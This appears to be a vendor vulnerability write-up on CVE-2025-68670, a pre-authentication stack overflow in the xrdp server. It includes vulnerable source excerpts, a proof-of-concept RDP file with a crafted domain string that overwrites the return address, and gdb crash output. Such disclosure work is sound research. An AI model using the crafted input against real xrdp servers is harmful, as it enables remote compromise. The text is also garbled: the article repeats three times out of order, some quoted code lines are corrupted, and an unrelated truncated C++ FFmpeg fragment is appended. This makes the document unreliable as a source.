As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CW: C++
#include "util/ffmpeg_movie_writer.h"
#include <godot_cpp/classes/image.hpp>
#ifdef FFMPEG_AVAILABLE
extern "C" {
#include <libavcodec/avcodec.h>
#include <libavformat/avformat.h>
#include <libswresample/swresample.h>
#include <libswscale/swscale.h>
}
#endif
void FFmpegMovieWriter::_bind_methods() {
}
uint32_t FFmpegMovieWriter::_get_audio_mix_rate() const {
return 48000;
}
AudioServer::SpeakerMode FFmpegMovieWriter::_get_audio_speaker_mode() const {
return AudioServer::SPEAKER_MODE_STEREO;
}
bool FFmpegMovieWriter::_handles_file(const String &p_path) const {
return p_path.get_extension().to_lower() == "mkv";
}
PackedStringArray FFmpegMovieWriter::_get_supported_extensions() const {
return { "mkv" };
}
Error FFmpegMovieWriter::_write_begin(const Vector2i &p_movie_size, uint32_t p_fps, const String &p_base_path) {
#ifdef FFMPEG_AVAILABLE
int error = avformat_alloc_output_context2(&_context, nullptr, "matroska", p_base_path.utf8().get_data());
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
const AVCodec *video_codec = avcodec_find_encoder(AV_CODEC_ID_AV1);
ERR_FAIL_NULL_V_MSG(video_codec, FAILED, "ffmpeg was not compiled with AV1 support");
_video_context = avcodec_alloc_context3(video_codec);
ERR_FAIL_NULL_V_MSG(_video_context, FAILED, "failed to allocate video context");
_video_context->time_base = av_make_q(1, p_fps);
_video_context->framerate = av_make_q(p_fps, 1);
_video_context->width = p_movie_size.x;
_video_context->height = p_movie_size.y;
_video_context->sample_aspect_ratio = av_make_q(1, 1);
_video_context->pix_fmt = AV_PIX_FMT_YUV420P;
AVDictionary *video_options = nullptr;
av_dict_set_int(&video_options, "crf", 30, 0);
error = avcodec_open2(_video_context, video_codec, &video_options);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
av_dict_free(&video_options);
_video_stream = avformat_new_stream(_context, video_codec);
ERR_FAIL_NULL_V_MSG(_video_stream, FAILED, "failed to create video stream");
error = avcodec_parameters_from_context(_video_stream->codecpar, _video_context);
ERR_FAIL_COND_V_MSG(error < 0, FAILED, av_err2str(error));
const AVCodec *audio_codec = avcodec_find_encoder(AV_CODEC_ID_OPUS);
ERR_FAIL_NULL_V_MSG(audio_codec, FAILED, "ffmpeg was not compiled with Opus support");
_audio_context = avcodec_alloc_context3(audio_codec);
ERR_FAIL_NULL_V_MSG(_audio_context, FAILED, "failed to allocate audio context");
_audio_context->bit_rate = 96000;
_audio_context->time_base = av_make_q(1, 48000);
_audio_context->sample_rate = 48000;
_audio_context->sample_fmt = AV_SAMPLE_FMT_S16;
